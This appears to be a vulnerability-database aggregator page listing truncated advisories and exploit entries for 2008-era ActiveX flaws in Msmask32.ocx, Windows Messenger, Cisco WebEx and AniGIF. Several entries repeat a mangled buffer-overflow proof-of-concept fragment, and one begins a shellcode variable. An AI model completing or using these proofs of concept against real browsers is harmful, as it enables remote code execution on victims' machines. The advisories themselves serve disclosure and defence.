Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF PoC

No description provided by source. var body='OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC" width="10"PARAM NAME="Mask" VALUE="'; var body1='"/OBJECT'; var buf=''; for i=1;i=1945;i++buf=buf+unescape"%0C"; document.writebody+buf+body1;...

Microsoft Messenger unauthorized ActiveX access

Messenger.UIAutomation.1 ActiveX allows access to applciation functionality...

Microsoft Windows Messenger Remote Illegal Access Vulnerability

Microsoft Windows Messenger Remote Illegal Access Vulnerability by cocoruderfrankruderathotmail.com http://ruder.cdut.net Summary: A remote illegal access vulnerability exists in Microsoft Windows Live Messenger. A vicious attacker can control the Live Messenger via constructing a malicious web...

Cisco WebEx Meeting Manager WebexUCFObject ActiveX Control stack buffer overflow

Overview The WebexUCFObject ActiveX control, which comes with Cisco WebEx Meeting Manager, contains a stack buffer overflow, which can allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system. Description Cisco WebEx is an online meeting and collaboration software...

Vulnerability in Cisco WebEx Meeting Manager ActiveX Control

THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES TH...

msmask-activex.txt

var body=''; var buf=''; for i=1;i=1945;i++buf=buf+unescape"%0C"; document.writebody+buf+body1;...

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF PoC

Exploit for unknown platform in category dos / poc ============================================================= Microsoft Visual Studio Msmask32.ocx ActiveX Remote BOF PoC ============================================================= var body=''; var buf=''; for...

Microsoft Visual Studio 'Msmask32.ocx' ActiveX控件缓冲区溢出漏洞

BUGTRAQ ID: 30674 CNCAN ID：CNCAN-2008081404 Microsoft Visual Studio是一款微软公司的开发工具套件系列产品。 Microsoft Visual Studio包含的'Msmask32.ocx' ActiveX控件存在缓冲区溢出，远程攻击者可以利用漏洞以应用程序权限执行任意指令。 问题存在于'Msmask32.ocx' ActiveX控件对参数的处理，构建恶意WEB页，诱使用户访问，可导致触发缓冲区溢出，可能以应用程序权限执行任意指令。 Microsoft Visual Studio 6.0 - Microsoft Window...

Microsoft Visual Studio - Msmask32.ocx ActiveX Remote Buffer Overflow (PoC)

Microsoft Visual Studio - Msmask32.ocx ActiveX Remote Buffer Overflow PoC var body=''; var buf=''; for i=1;i=1945;i++buf=buf+unescape"%0C"; document.writebody+buf+body1; milw0rm.com 2008-08-14...

Microsoft Visual Studio - 'Msmask32.ocx' ActiveX Remote Buffer Overflow (PoC)

var body=''; var buf=''; for i=1;i=1945;i++buf=buf+unescape"%0C"; document.writebody+buf+body1; milw0rm.com 2008-08-14...

CVE-2008-0082

An ActiveX control Messenger.UIAutomation.1 in Windows Messenger 4.7 and 5.1 is marked as safe-for-scripting, which allows remote attackers to control the Messenger application, and "change state," obtain contact information, and establish audio or video connections without notification via unkno...

Code injection

An ActiveX control Messenger.UIAutomation.1 in Windows Messenger 4.7 and 5.1 is marked as safe-for-scripting, which allows remote attackers to control the Messenger application, and "change state," obtain contact information, and establish audio or video connections without notification via unkno...

webex-activex.txt

// ksOSe 08/08/2008 // tested in IE6, XP SP1 var shellcode =...

CVE-2008-0082

An ActiveX control Messenger.UIAutomation.1 in Windows Messenger 4.7 and 5.1 is marked as safe-for-scripting, which allows remote attackers to control the Messenger application, and "change state," obtain contact information, and establish audio or video connections without notification via unkno...

Microsoft Visual Studio 'Msmask32.ocx' ActiveX Control Remote Buffer Overflow Vulnerability

Description The Microsoft Visual Studio ActiveX control, MaskedEdit, is prone to a stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. An attacker can exploit this issue to execute arbitrary code in the context of an application...

JComSoft AniGIF.ocx ActiveX控件多个栈溢出漏洞

BUGTRAQ ID: 30621 Animation GIF ActiveX控件（anigif.ocx）用于在OLE容器中显示GIF文件。 anigif.ocx控件没有正确地验证对ReadGIF和ReadGIF2方式所传送的输入参数，如果用户受骗访问了恶意网页并向上述方式传送了超长参数的话，就可以触发栈溢出，导致执行任意指令。 JComSoft Animation GIF ActiveX 2.4.7 JComSoft Animation GIF ActiveX 1.12b JComSoft Animation GIF ActiveX 1.12a JComSoft --------...

CVE-2008-0082: Exposure of Sensitive Information to an Unauthorized Actor

An ActiveX control Messenger.UIAutomation.1 in Windows Messenger 4.7 and 5.1 is marked as safe-for-scripting, which allows remote attackers to control the Messenger application, and "change state," obtain contact information, and establish audio or video connections without notification via unkno...

Microsoft Visual Studio Mdmask32.ocx ActiveX Stack Buffer Overflow

This module exploits a stack buffer overflow in Microsoft Visual Studio 6.0. When passing a specially crafted string to the Mask parameter of the Mdmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary code. Module Options msf use...

MS08-041: Vulnerability in the ActiveX Control for the Snapshot Viewer for Microsoft Access Could Allow Remote Code Execution (955617)

The remote host contains a version of the ActiveX control for the Snapshot Viewer for Microsoft Access which is vulnerable to a security flaw that could allow an attacker to execute arbitrary code on the remote host by constructing a malicious web page and entice a victim to visit it. C Tenable...

MS KB953839: Cumulative Security Update of ActiveX Kill Bits

The remote host is missing a list of kill bits for ActiveX controls that are known to contain vulnerabilities. If these ActiveX controls are ever installed on the remote host, either now or in the future, they would expose it to various security issues. %NASLMINLEVEL 70300 C Tenable Network...